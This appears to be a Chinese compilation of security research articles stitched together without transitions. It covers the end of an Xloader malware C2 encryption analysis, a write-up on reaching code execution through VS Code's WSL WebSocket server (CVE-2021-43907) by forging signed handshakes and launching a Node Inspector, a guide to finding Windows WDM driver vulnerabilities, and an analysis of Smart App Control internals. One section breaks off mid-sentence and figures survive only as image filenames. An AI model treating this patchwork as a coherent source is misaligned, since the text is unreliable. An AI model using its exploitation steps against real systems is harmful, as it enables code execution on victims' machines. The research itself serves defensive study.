Key2Comm=RC4based_Decryptor(Key0Comm,Key1Comm)擁有所有這三個RC4 密鑰,我們可以加密和解密Xloader C2 通信。 使用擁有兩層標準RC4的密鑰Key2Comm 和Key1Comm 對數據包進行加密,如下所示:

11.png

Xloader 還進一步應用了前面描述的用於POST 查詢的Base64 和字符替換

總結Xloader 是一個成熟的惡意軟件家族,擁有許多誤導研究人員和阻礙惡意軟件分析的技術,包括多層加密和自定義虛擬機。儘管開發者放棄了Formbook 分支以專注於重新命名的Xloader,但這兩種惡意軟件今天仍然非常活躍。 Formbook仍然被使用洩露的面板源代碼和自我管理C2 的攻擊者使用,而原始開發者繼續將Xloader 作為MaaS 出售,支持和租用服務器基礎設施。毫不奇怪,它一直是近年來最活躍的威脅之一。

適用於Linux 的Windows 子系統中的Visual Studio Code 服務器使用本地WebSocket WebSocket 連接與遠程WSL 擴展進行通信。網站中的JavaScript 可以連接到該服務器並在目標系統上執行任意命令。目前該漏洞被命名為CVE-2021-43907。

這些漏洞可以被用於:

本地WebSocket 服務器正在監控所有接口。如果允許通過Windows 防火牆,外部應用程序可能會連接到此服務器。

本地WebSocket 服務器不檢查WebSocket 握手中的Origin 標頭或具有任何身份驗證模式。瀏覽器中的JavaScript 可以連接到該服務器。即使服務器正在監控本地主機,也是如此。

我們可以在特定端口上生成一個Node Inspector示例,它還監控所有接口。外部應用程序可以連接到它。

如果外部應用程序或本地網站可以連接到這些服務器中的任何一個,它們就可以在目標計算機上運行任意代碼。

關於源代碼的說明Visual Studio Code 庫是不斷更新的。我將使用一個特定的提交(b3318bc0524af3d74034b8bb8a64df0ccf35549a)。

$gitclonehttps://github.com/microsoft/vscode$gitreset--hardb3318bc0524af3d74034b8bb8a64df0ccf35549a我們可以使用Code (lol) 來導航源代碼。事實上,我已經在WSL 中為這個漏洞創建了具有相同擴展名的概念驗證。

Visual Studio Code在WSL 內以服務器模式運行,並與Windows 上的代碼示例對話(我稱之為代碼客戶端)。這使我們可以在WSL 中編輯文件和運行應用程序,而不需要運行其中的所有內容。

3.png

遠程開發架構

可以通過SSH 和容器在遠程計算機上進行遠程開發。 GitHub Codespaces 使用相同的技術(很可能通過容器)。

在Windows 上使用它的方法:

1.打開一個WSL終端示例,在Windows上的代碼中應該可以看到遠程WSL擴展;

2.在WSL 中運行code /path/to/something;

3.如果未安裝代碼服務器或已過時,則會下載它;

4.VS Code 在Windows 上運行;

5.你可能會收到一個Windows 防火牆彈出窗口,用於執行如下所示的可執行文件:

4.png

服務器的防火牆對話框

這個防火牆對話框是我執行失敗的原因。出現該對話框是因為VS Code 服務器想要監控所有接口。

從我信任的Process Monitor開始:

1.運行進程監控器;

2.在WSL中運行code .

3.Tools Process Tree;

4.我運行代碼(例如,Windows Terminal.exe)的終端示例中運行Add process and children to Include filte。

5.png

Procmon 的進程樹

經過一番挖掘,我發現了VSCODE_WSL_DEBUG_INFO 環境變量。我只是在WSL 中將export VSCODE_WSL_DEBUG_INFO=true 添加到~/.profile 。運行服務器後我們會得到額外的信息。

6.png

VSCODE_WSL_DEBUG_INFO=true

輸出被清理。

7.png

檢查命令行參數。

8.png

可以看到出現了WebSocket詞彙。

運行Wireshark 並捕獲loopback接口上的流量。然後我再次在WSL 中運行代碼。這次可以看到兩個WebSocket 握手。

9.png

在Wireshark 中捕獲的WebSocket 連接

該運行中的服務器端口是63574,我們也可以從日誌中看到。在Windows 上的代碼客戶端中打開命令面板(ctrl+shift+p) 並運行Remote-WSL: Show Log。

10.png

遠程WSL:顯示日誌

最後一行有端口:在http://127.0.0.1:63574/version 上打開本地瀏覽器。我們還可以看到從Windows 上的Code 客戶端到服務器的兩個單獨的WebSocket 連接。

11.png

為什麼要監聽所有接口?服務器是位於/src/vs/server/remoteExtensionHostAgentServer.ts#L207 的RemoteExtensionHostAgentServer 的一個示例。

它被createServer 在同一個文件中使用,我們可以使用Code (lol) 找到它的引用並追踪到remoteExtensionHostAgent.ts(同一目錄)。

12.png

可以根據註釋查看main.js 內部。

13.png

打開文件,看到服務器可以從傳遞給main.js的參數中獲得主機和端口。

14.png

main.js 被server.sh 調用:

15.png

沒有IP 地址傳遞給腳本,我認為這就是為什麼服務器監控所有有趣的事情。 port=0 可能告訴服務器使用臨時端口,此信息來自同一目錄中的wslServer.sh。

本地WebSocket 服務器每次看到本地WebSocket 服務器時,都應該檢查誰可以連接到它。

WebSocket 連接不受同源策略約束,瀏覽器中的JavaScript 可以連接到本地服務器。

WebSockets 從握手開始,在跨源資源共享或CORS 的上下文中它始終是一個“簡單”的GET 請求,因此瀏覽器不需要預先請求就可以發送它。

測試本地WebSocket 服務器可以快速創建一個嘗試連接到特定端口上的本地WebSocket服務器的測試頁面,將它託管在某個遠程位置(例如,S3 存儲桶)並在計算機上打開它。如果連接成功,就可以繼續操作了。

我還檢查了Burp,在Burp Repeater 中創建了WebSocket 握手。將Origin 標頭修改為https://example.net。如果響應具有HTTP/1.1 101 交換協議,那麼就可以繼續了。

16.png

在Burp 中測試

注意,這只對本地主機服務器有影響。這裡的服務器也對外公開,攻擊者不受瀏覽器約束。它們可以直接連接到服務器並提供任何Origin 標頭。

逆向工程協議接下來是查看Wireshark 中的流量,右鍵點擊之前的WebSocket握手GET請求,然後選擇Follow TCP Stream。我們將看到一個帶有一些可讀文本的屏幕。關閉它,只會看到這個進程的數據包,這允許我們只關注這個進程。

你可能會問為什麼我關閉了僅包含消息內容的彈出窗口,因為沒有用。根據RFC6455,從客戶端到服務器的消息必須被屏蔽。這意味著它們與一個4 字節的密鑰(也隨消息一起提供)進行了異或運算。 Wireshark 在選擇時取消屏蔽每個數據包,但有效載荷在初始進程彈出窗口中顯示為屏蔽。所以我們將看到純文本的服務器消息,而客戶端消息被屏蔽並出現亂碼。如果你點擊單個消息,Wireshark 就會顯示有效載荷。

我花了幾天時間對協議進行逆向工程。後來,我意識到只能在/src/vs/base/parts/ipc/common/ipc.net.ts 中看到協議的源代碼。

17.png

協議握手來自服務器的第一條消息是KeepAlive 消息。

18.png

在協議定義中,我們可以看到不同的消息類型。

19.png

在/src/vs/platform/remote/common/remoteAgentConnection.ts 中,它在代碼的其他部分被稱為OKMessage 和heartbeat。

20.png

客戶端在/src/vs/platform/remote/common/remoteAgentConnection.ts的connectToRemoteExtensionHostAgent中處理此問題。客戶端(Windows上的代碼)發送這個包,它是一個KeepAlive和一個單獨的認證消息。

21.png

最初,我認為長度字段是12 個字節而不是4 個字節,因為其餘的字節總是空的。然後我意識到只有常規消息使用消息ID 和ACK 字段,而且我只看到了不規則的握手消息。

22.png

在修復之前,沒有勾選此選項。

23.png

注意:在2021-11-09 更新之前(commit b3318bc0524af3d74034b8bb8a64df0ccf35549a)客戶端沒有發送數據。但是,使用此提交,我們仍然可以在沒有此密鑰的情況下發送消息並且它會起作用。這是我們給服務器簽名的內容,以檢查連接到正確的服務器。

服務器響應一個簽名請求。

24.png

另一個JSON 對象:

25.png

服務器已經簽名了我們在前一條消息中發送的數據,並用它自己的數據請求進行了響應。

客戶端驗證簽名的數據,以檢查它是否是受支持的服務器。當創建我們的客戶端時,可以簡單地跳過。

26.png

DRM使用options.signService.validate 方法,然後就會得到/src/vs/platform/sign/node/signService.ts。

27.png

vsda 是一個用C++ 編寫的Node 原生插件,將Node 原生插件視為共享庫或DLL。該插件位於https://github.com/microsoft/vsda 的私有存儲庫中,根據https://libraries.io/npm/vsda/的說法,直到2019年左右,它都是一個NPM包。

它與VS Code 客戶端和服務器捆綁在一起:

Windows系統:

C:\Program Files\Microsoft VS Code\resources\app\node_modules.asar.unpacked\vsda\build\Release\vsda.node

服務器(WSL):~/.vscode-server/bin/{commit}/node_modules/vsda/build/Release/vsda.node。

我找到了https://github.com/kieferrm/vsda-example,並通過一些實驗找到瞭如何使用它創建和簽名消息。

1.用msg1=validator.createNewMessage('1234')創建一個新消息,輸入至少4個字符。

2.使用signed1=signer.sign(msg1)進行簽名。

3.使用validator.validate(signed1) 對其進行驗證,響應為“ok”。

需要注意的是,如果你創建了新消息,則無法再驗證舊消息。在源代碼中,每條消息都有自己的驗證器。

28.png

Linux 版本有符號,大小約為40 KB。把它放到IDA/Ghidra 中,應該就可以開始了。

我花了一些時間,想出了這個偽代碼。可能不太正確,但可以讓你大致了解此簽名的工作原理。

1.用當前時間+ 2*(msg[0]) 初始化srand,它只會創建0 到9(含)之間的隨機數;

2.從許可證數組中附加兩個隨機字符;

3.從salt 數組中附加一個隨機字符;

4.SHA256;

5.Base64;

6.

7.Profit。

29.png

僅從許可證數組中選擇前10 個位置的字符,它總是rand() % 10 ,但salt 數組翻了一番。

許可證數組的字符串如下所示:

30.png

salt 數組的前32 個字節(查找Handshake:CHandshakeImpl:s_saltArray)是:

31.png

我從來沒有真正檢查過我的分析是否正確,不過這無關緊要,知道如何使用插件簽名消息,這就足夠了。

接下來,客戶端需要簽名來自服務器的數據並將其發送回來,以顯示它是一個“合法”的代碼客戶端。

32.png

服務器響應如下:

33.png

客戶端發送瞭如下消息:

34.png

提交應該匹配服務器的提交哈希。這不是秘密。這可能是最後一個穩定版本提交(或最後幾個之一)。這只是檢查客戶端和服務器是否在同一版本上。它也可以在http://localhost:{port}/version 上找到,你的瀏覽器JavaScript 可能無法看到它,但外部客戶端沒有這樣的限制。

signedData是對我們在前面消息中從服務器獲得的數據進行簽名的結果。

Args是此消息中最重要的部分,它可以告訴服務器在特定端口上啟動一個Node Inspector 示例。

break: 啟動Inspector 示例後中斷。

端口:檢查器示例的端口。

Env:傳遞給檢查器示例進程的環境變量及其值的列表。

Node Inspector 示例可用於調試Node 應用程序。如果攻擊者可以連接到你計算機上的此類示例,那麼攻擊就成功了。 2019 年,Tavis 發現VS Code 默認啟用了遠程調試器。

整個設置旨在允許Windows 上的代碼客戶端在WSL、容器或GitHub

驅動程序中的每一個漏洞本質上都是Windows內核中的一個漏洞,因為每個驅動程序都共享內核的內存空間。擁有了在內核中運行代碼、從模型寄存器讀寫或複制特權訪問令牌的能力實際上是擁有了系統。本文將介紹在WDM驅動程序中發現漏洞的方法,然後通過kAFL利用內核模糊。大多數漏洞似乎都在WDM或KMDF中。

在本博客的每一部分中,我們都將從基礎開始,比如熟悉相關的API和數據結構。

WDMWindows驅動程序模型(WDM)是最古老的,也是最常用的驅動程序框架。每個驅動本質上都是一個WDM驅動;較新的框架WDF (Windows Driver framework)封裝了WDM,簡化了WDM的開發過程,解決了WDM的多種技術難題。在檢查WDM驅動程序時,我們關心的主要事情是如何與它們通信;幾乎驅動程序中的每個漏洞都涉及到一些從非特權用戶到驅動程序本身的通信。

在示例中,這是名為“testy”的驅動程序的入口點:

1.png

經典的DriverEntry代碼,注意,對IoCreateDevice的調用沒有FILE_DEVICE_SECURE_OPEN標誌

這段代碼是每個WDM驅動都有的DriverEntry函數的普通架構。第一個參數是DriverObject結構指針,用於設備創建和調度例程初始化。接下來,驅動程序有MajorFunction成員,它是一個函數指針數組,用於為不同的事件分配調度例程。此外,我們還有將在下一節中介紹的關鍵設備創建例程。

設備創建和初始化驅動程序首先通過調用IoCreateDevice 創建設備,這將在對像管理器中創建一個DEVICE_OBJECT。在Windows 中,設備對象表示驅動程序處理I/O 請求的邏輯、虛擬或物理設備。所有這些聽起來都不錯,但如果我們希望它從普通用戶的角度進行交流,這還不夠;為此,我們調用IoCreateSymbolicLink,它將在對像管理器中創建一個DoS 設備名稱,使用戶能夠通過該設備與驅動程序進行通信。但是,有些設備沒有正常的名稱;它們具有自動生成的名稱(在PDO 中完成)。對於沒有經驗的檢測人員來說,它們可能看起來很奇怪,所以如果你在你最喜歡的設備中第一次看到它們,請查看軟件,並在設備名稱列中查看8 位十六進制。這些設備可以像其他所有命名設備一樣進行交互。

2.webp.jpg

展示WinObjEx 設備命名空間

在設備創建例程中要注意的最重要的事情是程序員是否為設備分配了ACL 以及DeviceCharacteristics 的值。

不幸的是,IoCreateDevice方法不允許程序員指定任何ACL,這是不好的。因此,開發人員必須在註冊表或驅動程序的ini文件中定義一個ACL。如果他們不能這樣做,任何用戶都可以訪問設備。然而,使用IoCreateDeviceSecure方法可以緩解這種情況。

除此之外,我們還需要查看第五個參數,即DeviceCharacteristics 。如果DeviceCharacteristics 的值沒有與0x00000100 或FILE_DEVICE_SECURE_OPEN 進行OR 運算,我們可能會面臨安全漏洞(除非我們討論文件系統驅動程序或任何支持名稱結構的驅動程序)。這背後的原因是Windows 對待設備的方式;每個設備都有自己的命名空間。設備命名空間中的名稱是以設備名稱開頭的路徑。對於名為\Device\DeviceName 的設備,其命名空間由“\Device\DeviceName\anyfile”形式的任何名稱組成。

如圖1所示,沒有FILE_DEVICE_SECURE_OPEN標誌的IoCreateDevice調用意味著設備ACL不應用於打開設備命名空間內文件的文件請求。換句話說,即使我們在通過IoCreateDeviceSecure或其他方式創建設備時指定了強ACL,該ACL也不會應用於打開文件請求。結果,我們並沒有真正得到我們想要的,所以使用\Device\testydrv 調用CreateFile 會失敗,但使用“\device\testydrv\anyfile”調用會成功,因為IoManager 沒有應用設備ACL到創建請求(因為它假設它是一個文件系統驅動程序)。對於初學者來說,它被認為是一個值得修復的漏洞。此外,這將導致非管理員用戶嘗試讀/寫設備,執行DeviceIoControl 請求等等,這通常是你不希望非管理員用戶做的事情。

更好的用戶保護我們可以通過調用IoCreateDeviceSecure(或WdmlibIoCreateDeviceSecure;它是相同的函數),使用安全描述符防止非管理員用戶打開設備句柄,並在創建例程中使用FILE_DEVICE_SECURE_OPEN值。這也將為我們省去在註冊表中聲明設備權限的麻煩,就像我們在IoCreateDevice 中需要的那樣。

3.png

我們應該如何創建設備

從尋找漏洞的角度來看,我們應該列舉系統中每一個可能的設備,然後嘗試用GENERIC_READ | GENERIC_WRITE打開它,這允許我們過濾掉不能與之通信的設備。

調度方法創建設備很好,但僅僅與驅動程序通信是不夠的,還需要IRP。驅動程序代表IoManager 接收IRP、I/O 請求數據包以用於特定觸發器。例如,如果應用程序嘗試打開設備句柄,IoManager 將調用分配給驅動程序對象的相關調度方法。因此,它允許每個驅動程序為其創建的每個設備支持多個不同的MajorFunction。大約有30 種不同的MajorFunction。如果算上已棄用的IRP_MJ_PNP_POWER,每個都代表不同的事件。我們將只關注其中兩個MajorFunction 方法,並添加關於其餘方法的簡短描述,這是我們在尋找漏洞時應該注意的地方。

4.png

基本的驅動程序調度表分配

調用IRP_MJ_CREATE在我們深入研究最有趣的目標之前,即IRP_MJ_DEVICE_CONTROL,我們將從IRP_MJ_CREATE 開始。每個內核模式驅動程序都必須在驅動程序調度回調函數中處理IRP_MJ_CREATE。驅動程序必須實現IRP_MJ_CREATE,因為沒有它,你將無法打開設備或文件對象的句柄。

正如你可能猜到的,當你調用NtCreateFile 或ZwCreateFile 時會調用IRP_MJ_CREATE 調度例程。在大多數情況下,它將是一個空存根,並根據設備的ACL 返回一個帶有請求的DesiredAccess 的句柄。

5.png

典型的DistpachCreate強制方法

但是,在某些情況下,會涉及更複雜的代碼,即使你滿足設備的ACL 標準,你也可能會收到類似STATUS_INVALID_PARAMETER 的狀態漏洞,因為你在調用NtCreateFile 時使用了不正確的參數。

不幸的是,這表明你不能盲目打開設備,希望通過DeviceIoControl與驅動程序通信;你首先需要了解它的預期參數。通常,DispatchCreate 需要一些ExtendedAttributes(不能為此使用常規CreateFile)或特定文件名(除了設備名稱)。因此,我們必須訪問DispatchCreate 方法。

6.webp.jpg

顯示檢查是否存在名為“StorVsp-v2”的擴展屬性以及值字段的長度是否為0x19 字節長。因此,驅動程序是StorVsp.sys

除了打開句柄之外,你還可以在DispatchCreate中查找漏洞。函數變得越複雜,內存分配和釋放漏洞的可能性就越高,特別是因為DispatchCreate並不經常被檢查。

我們在尋找驅動程序中的漏洞時採取的一般方法是:

枚舉每個設備對象:

嘗試使用最寬鬆的DesiredAccess 打開它;

如果失敗,檢查狀態碼;如果不是STATUS_ACCESS_DENIED,你可能仍然可以通過做一些手動工作並更改一些參數來打開句柄;

通過遵循這個簡單的算法,我們將擁有一個包含大約70 個設備的列表,我們可以從非管理員的角度與之交談。當然,這個數字會因不同的Windows 設備而異,因為OEM 驅動程序和許多類型的軟件也會安裝驅動程序。

使用ioctls控制設備雖然ioctls很少讓你完全控制設備/驅動程序,但它實際上是應用程序與驅動程序通信的方式。驅動程序可以創建兩種ioctl調度例程:

7.png

設備控制方法的典型用法

唯一重要的方法是TestyDispatchIoctl,因為我們不能用任意參數發起對IoBuildDeviceIoControlRequest或IIoAllocateIrp的調用,這是觸發IRP_MJ_INTERNAL_DEVICE_CONTROL主函數的函數。如果是,那是因為內部調度方法很少經過適當的測試。

與DriverObject的任何調度方法一樣,它從IoManager接收兩個參數。

8.png

WDM驅動程序中的每個調度方法共享相同的函數簽名

第一個是我們對其執行CreateFile 操作的設備對象,第二個是指向IRP 的指針。從漏洞研究的角度來看,IRP 封裝了用戶數據和我們並不真正關心的許多其他內容。我們在這里關心的主要是從用戶模式發送哪些參數。如果我們看一下NtDeviceIoControlFile 的簽名,我們可以猜測在尋找驅動程序中的漏洞時我們關心哪些字段:

9.png

DeviceIoControl API

這種方法的主要問題是輸入/輸出緩衝區、它們的長度和Ioctl代碼本身。我們從Ioctl代碼開始,它是一個充當說明符的32位數字;它描述了緩衝區和長度如何被使用/複製到內核,所需的DesiredAccess(當你打開一個設備句柄時)和一個函數指示器。示例如下:

10.webp.jpg

FileTest.exe工具的圖像,顯示了32 Ioctl編號的位域

我們可以看到ioctl代碼是0x1000,翻譯過來就是:

DeviceType:FileDevice_0:它與我們無關;

Function:0:與我們無關;

Method:METHOD_NEITHER:它與我們相關,因為它描述了imanager如何將數據傳輸到內核;

Access:FILE_ANY_ACCESS:它與我們相關,因為它定義了你需要對句柄擁有的所需訪問權限。如果你沒有正確的訪問權限,那麼IoManager 將不允許調用發生並返回AccessDenied。有四個不同的值:

FILE_ANY_ACCESS:無論DesiredAccess 參數如何,你始終擁有設備句柄;

FILE_READ_DATA:你使用GENERIC_READ 請求了一個句柄並獲得了一個有效的句柄;

FILE_WRITE_DATA:你使用GENERIC_WRITE 請求了一個句柄並獲得了一個有效的句柄;FILE_READ_DATA | FILE_WRITE_DATA:不言自明;你需要這兩種權利;

在\Device\VfpExt 的句柄上運行此DeviceIoControl 請求將導致BSoD,無論你的權限級別如何,在理解了圖3中的Method字段之後,我們將看到其中的原因。

Method/TransferTypeMethod/TransferType被稱為萬惡之母,這聽起來有些誇大其詞,但不幸的是,事實確實如此。傳輸類型的方法,即ioctl 32位數中的兩個最低有效位,指示IoManager 在內核中引用參數(緩衝區和長度)的方式。與訪問字段一樣,有四個不同的選項:

(1)METHOD_NEITHER,兩個位都是打開的:IoManager 是惰性的,不對緩衝區及其長度進行檢查。緩衝區不會復製到驅動程序並駐留在用戶模式下。因此,用戶可以隨意操縱緩衝區的長度並釋放/分配他們的頁面,這將導致許多糟糕的事情:系統崩潰和權限提升,除非正確探測緩衝區。如果你看到一個驅動程序沒有探測緩衝區,而是使用METHOD_NEITHER,那肯定存在漏洞。

(2) METHOD_BUFFERED,沒有一個位是打開的:IoManager將輸入/輸出緩衝區及其長度複製到內核,這使得它更加安全,因為用戶不能隨意換出緩衝區或更改它們的內容和長度。之後,輸入/輸出緩衝區指針被分配給IRP。

(3) METHOD_IN_DIRECT和(4)METHOD_OUT_DIRECT兩個位中的一個是打開的:這兩個非常相似;imanager會像METHOD_BUFFERED那樣分配輸入緩衝區。對於輸出緩衝區,IoManager探測緩衝區並檢查虛擬地址在當前訪問模式下是否可寫或可讀。然後,它鎖定內存頁並將指針傳遞給IRP。

讓我們看看驅動程序如何訪問用戶模式緩衝區並查看一個快速漏洞,它說明了在驅動程序中沒有進行適當的安全檢查的漏洞。

11.png

在這裡我們可以看到我們應該如何關聯驅動程序中的每個緩衝區關於描述方法和傳輸類型的Ioctl 代碼

由於驅動程序通常可以支持多個ioctl 代碼,因此對於每個不同的ioctl 代碼,它都有一個大的switch case,影響緩衝區在內存中的存儲位置。在下一節中,我們將看到如果我們不注意會發生什麼。

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。

“智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

Smart App Control 預計將與Windows 22H2 一起發布,Windows 22H2 應該會在今年9 月下旬發布。

SAC 具有三種可能的狀態,其中只有一種會執行這些操作:

強制:將強制阻止惡意或不受信任的應用程序,我們將此狀態標記為1。

評估:在此模式下,該功能將繼續評估你的系統是否適合強制模式下的執行,我們將此狀態標記為2。

關:該功能被禁用。一旦禁用,除非你重新安裝操作系統,否則無法再次激活它,我們將此狀態標記為0。

SAC 安裝了解如何安裝它。此功能需要全新安裝才能激活。如果我們為Build 22621 安裝ISO 並通過install.wim 導航到包含註冊表配置單元的文件夾,那麼我們可以將SYSTEM Hive 加載到註冊表編輯器中。在CI\Policy 項中,我們可以找到值VerifiedAndReputablePolicyState設置為2(評估狀態)。

1.png

同樣在CI 項中,我們有SubKey Protected,我們可以在其中找到以下值VerifiedAndReputablePolicyStateMinValueSeen 也設置為2。

2.png

稍後我們將進一步了解如何使用這些項來控制SAC的實際狀態,我們還將了解如何保護Protected SubKey下的值以避免被篡改。

為了在升級時強制執行此操作,我們可以看到安裝ISO 在CI 的替換清單中有以下代碼:[ISO]\sources\replacementmanifests\codeintegrity-repl.man。

3.png

升級操作系統時,這段代碼將檢查註冊表值HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState 是否存在,如果不存在,它將以SAC 狀態0(關閉狀態)創建。

除了這兩個新的註冊表值之外,操作系統還將在System32\CodeIntegrity\CiPolicies 文件夾中附帶兩個新的系統完整性策略文件(.cip)。

PolicyGUID:{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}強制SAC策略,當SAC狀態設置為Enforce(1)時激活;

PolicyGUID:{1283AC0F-FFF1-49AE-ADA1-8A933130CAD6} 評估SAC 策略,當SAC 狀態設置為evaluation (2)時激活;

使用WDACTools 中的CIPolicyParser 腳本,我們將兩個.cip 文件轉換為它們的.xml 表示形式。我們可以從XML 中獲取策略規則來了解這些策略的選項。設置了以下規則,兩個XML 文件都可以在附錄中找到。

啟用:UMCI;

啟用:智能安全圖授權;

啟用:開發者模式動態代碼信任;

啟用:允許補充策略;

啟用:已撤銷已過期未簽名;

啟用:繼承默認策略;

啟用:未簽名的系統完整性策略;

啟用:高級啟動選項菜單;

禁用:腳本執行;

啟用:更新策略不重啟;

啟用:有條件的Windows 鎖定策略;

啟用:審核模式(僅在SAC 評估策略中);

最後,我們可以在System32 文件夾中搜索使用前面提到的註冊表值的二進製文件/模塊。

4.png

SAC 初始化我們將這個部分分為兩個階段。第一階段我們將在Windows加載程序中討論SAC。第二階段我們將在OS初始化期間討論SAC。重要的是要了解加載程序和操作系統都在啟用SAC 中發揮作用。最後,我將添加一個部分來解釋SubKey CI\Protected 下的值保護是如何工作的。

SAC 初始化流程圖如下所示。

5.jpg

Winload 期間的SAC在本節中,我們將討論如何選擇活動SAC 狀態的SAC 策略、Winload 如何強制執行RegKey 之間的持久性和一致性以及如何將SAC 策略傳遞給內核。

6.jpg

SAC初始化的第一步在操作系統加載程序過程中提前完成。更具體地說,在準備目標(OslPrepareTarget) 期間加載SystemHive 之後。為了處理系統完整性策略,將調用函數OslpProcessSIPolicy。在此函數中,將對條件策略(SKU、EMode、SAC Enforce、SAC Evaluation)進行評估,以查看是否應該忽略或解鎖它們。 Microsoft 認為這四個策略是有條件的,因為它們可以被忽略/解鎖,這與始終適用的“MS Windows 驅動程序策略”等其他策略不同。條件策略的策略GUID 存儲在由符號g_SiConditionalPolicies 定義的全局數組中。

忽略和解鎖之間的區別非常微妙。解鎖標誌將一直被選中。另一方面,忽略標誌只會在沒有設置“Enabled:Unsigned System Integrity Policy”的策略中被選中。

要確定是否應為Enforce 或Evaluation 啟用SAC,使用以下兩個函數。

OslpShouldIgnoreUnlockableNightsWatchDesktopEnforcePolicy

OslpShouldIgnoreUnlockableNightsWatchDesktopEvalPolicy這是我們第一次看到引用Nights Watch 來表示SAC,這似乎是微軟的內部名稱。

這兩個函數的行為方式相同,唯一的區別是它們為內部評估函數提供了不同的PolicyGUID:

7.png

此函數使用PolicyGUID 參數來確定要檢查的SAC 狀態。它調用OslpGetNightsWatchDesktopRegKeyState,它返回設備中的實際SAC 狀態。如果實際SAC 狀態與正在評估的狀態匹配,則認為該策略是活動的,這過於簡化了。如果設備是WinPE 或者是否需要簽名策略,則需要進行更多檢查。即使註冊表指示SAC 處於活動狀態,這些檢查也可以使函數返回Ignore 和Unlockable。

OslpGetNightsWatchDesktopRegKeyState 的行為值得一看。此例程負責在重新啟動後保持啟用SAC 並保持兩個註冊表值之間的一致性。此例程有四種可能的情況:

VerifiedAndReputablePolicyState==VerifiedAndReputablePolicyStateMinValueSeen:值是相同的,所以直接返回值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:在上一個啟動會話期間,SAC 狀態被修改。我們從VerifiedAndReputablePolicyState 返回值,並在Protected SubKey下更新該值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:這是一個極端情況,因為VerifiedAndReputablePolicyState 永遠不應大於受保護項下的值。如果有人手動編輯值VerifiedAndReputablePolicyState,我相信這是為了保持兩個值之間的一致性。

值為3或3以上:表示無效狀態轉換並且函數將失敗。

偽代碼總結如下。

8.png

當使用安全應用程序發生SAC 狀態更改時。操作系統將寫入VerifiedAndReputablePolicyState。用戶重新啟動後,此狀態將持續存在於設備中。這意味著在SAC 狀態轉換之後,仍然可以編輯VerifiedAndReputablePolicyState,並且轉換不會在下一次重新啟動後持續存在。這讓我認為微軟只有在安裝更新時才會觸發評估模式的轉換,或者他們會要求重新啟動。顯然,在會話期間發生SAC狀態轉換時,活動策略將被更新。

一旦檢查了所有的條件策略,看看它們是可解鎖的還是應該被忽略。從每個函數獲得的值將寫入以下兩個全局變量:

g_SIPolicyConditionalPolicyConditionUnlockHasBeenMet

g_SIPolicyConditionalPolicyConditionIgnoreHasBeenMet

寫入這些全局變量的值是一個四字節數組,可以用以下結構表示

9.png

在此之後,加載程序將嘗試解析策略文件。首先將每個.cip 文件中的序列化數據加載到內存中(參見BlSIPolicyGetAllPolicyFiles)。然後從SIPolicyParsePolicyData 中的每個文件解析數據,如果有人對細節感興趣,請檢查SIPolicyInitialize 以了解如何將策略的每個部分解析為一個結構。

解析策略後,將檢查忽略和解鎖條件以查看它們是否滿足。如果滿足某個條件,則該策略將被放棄。如果不滿足任何條件,則將使用函數SIPolicySetAndUpdateActivePolicy 將策略設置為活動。

如果設置了策略選項“已啟用:未簽名的系統完整性策略”,則PolicyVersion 和PolicySignersData 將從EFI SecureBoot 私有命名空間中刪除。被刪除的變量名將由PolicyGUID和PolicyVersion/policyysignersdata字符串連接組成,只有當PolicyOptions禁用了“Enabled:Unsigned System Integrity Policy”時,才會創建這些EFI變量。

在下面的輸出中,我們可以看到SetVariable 是如何以大小0 被調用的,這將導致如果找到該變量將被刪除。

10.png

對於這兩個SAC 策略,任何EFI 變量都將被清除。之後,將通過調用SIPolicySetActivePolicy 將策略設置為活動。此調用會將策略添加到將鏈接到全局變量g_SiPolicyCtx 的節點中。 g_NumberOfSiPolicies 將相應地遞增,並且新策略的句柄將存儲在g_SiPolicyHandles 中,此變量是一個包含32 個句柄的數組,因為WDAC 一次在設備上支持多達32 個活動策略。

保存在g_SiPolicyCtx 中的SI_POLICY_CTX 結構的原型如下:

11.png

下圖顯示了三個全局變量。在我的示例中,有三個活動策略,其中一個是SAC 強制執行策略的補充策略,補充策略有助於擴展基本策略以增加策略的信任。

12.png

有了這些信息,加載程序將能夠在加載程序參數塊內構建CI 結構。這是在函數OslBuildCodeIntegrityLoaderBlock 內完成的。這個例程,除其他外,將在函數SIPolicyGetSerializedPoliciesSize 的幫助下獲得序列化SI 策略的大小。該代碼將使用全局變量g_NumberOfSiPolicies 和g_SiPolicyHandles,並且大小將存儲在LOADER_PARAMETER_CI_EXTENSION 的CodeIntegrityPolicySize 字段中。之後,將通過函數SIPolicyGetSerializedPolicies 複製序列化的數據。此數據的偏移量將存儲在字段CodeIntegrityPolicyOffset 中。此信息以及其他CI 信息將存儲在LOADER_PARAMETER_EXTENSION 的CodeIntegrityDataSize 和CodeIntegrityData 字段中,當加載程序轉換到操作系統時,加載程序參數塊作為參數傳遞。

只有序列化的有效負載會被複製。我猜之前所做的所有策略解析主要是檢查策略是否有效,如果無效則觸發SYSTEM_INTEGRITY_POLICY錯誤。還可能使用來自認證或EFI變量策略的值。

這幾乎就是我們將在winload 期間看到的SAC 初始化的全部內容。

下面的捕獲顯示了在轉換到操作系統之前如何設置這些數據。

13.png

操作系統初始化期間的SAC看看內核如何初始化CI。在此之後,我們將了解CI 如何初始化Winload 提供的策略。最後,再看看它如何從這些策略中確定SAC 是否能夠相應地採取行動。

14.jpg

在操作系統初始化期間,更具體地說是在階段1。內核將調用方法CiInitialize(由ci.dll 導出)。該函數主要用於內核和CI 交換API。內核接收SeCiCallbacks,其中包含內核將用於與CI 交互的函數指針。另一方面,CI DLL 接收SeCiPrivateApis,其中包含VSL HVCI 接口等內核函數,因此CI 可以在進行任何HVCI 驗證時通過內核觸發Hypercall。內核還將傳遞初始的CodeIntegrity 選項。這些選項由Windows 加載程序構建並存儲在LOADER_PARAMETER_CI_EXTENSION 中。這些選項最初將包含諸如CodeIntegrity BCD 選項(DisableIntegrityChecks、AllowPrereleaseSignatures、AllowFlightSignatures)和WHQL 設置之類的內容。 CI 選項存儲在全局變量g_CiOptions 中,CI 還將根據從操作系統和策略中檢索到的信息更新它們。

